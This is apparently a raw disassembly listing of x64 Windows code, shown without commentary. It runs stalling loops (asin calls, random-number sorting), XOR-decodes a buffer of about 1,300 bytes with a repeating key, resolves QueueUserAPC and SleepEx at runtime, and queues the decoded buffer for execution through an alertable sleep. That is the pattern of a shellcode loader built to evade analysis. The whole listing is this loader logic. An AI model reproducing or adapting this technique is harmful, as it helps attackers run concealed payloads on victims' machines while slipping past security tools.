mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x878]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x16a
jle 0x140002950
add dword [rbp + 0x884], 1
add dword [rbp + 0x888], 1
mov eax, dword [rbp + 0x888]
cmp eax, 0x7a
jbe 0x14000279b
mov dword [rbp + 0x888], 0
jmp 0x140002bf2
mov ecx, 0xb68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x874], 0
jmp 0x140002a44
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x2d9
jle 0x1400029f7
mov dword [rbp + 0x874], 0
jmp 0x140002b34
cmp dword [rbp + 0x874], 0
je 0x140002aa4
mov eax, dword [rbp + 0x874]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x874]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002ab0
add dword [rbp + 0x874], 1
jmp 0x140002b34
mov eax, dword [rbp + 0x874]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x6bc], eax
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x6c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rdx, rax
mov eax, dword [rbp + 0x6bc]
mov dword [rdx], eax
sub dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x2d9
jle 0x140002a5f
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x880], 0x7a
jne 0x140002ba6
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x880]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x880], 0
jmp 0x140002beb
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x880]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x880], 1
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x514
jle 0x1400029da
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x860]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x860]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6d8]
mov r9, qword [rbp + 0x6d0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6c8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8e0]
add rsp, 0x978
pop rbx
pop rsi
pop rdi
pop rbp
ret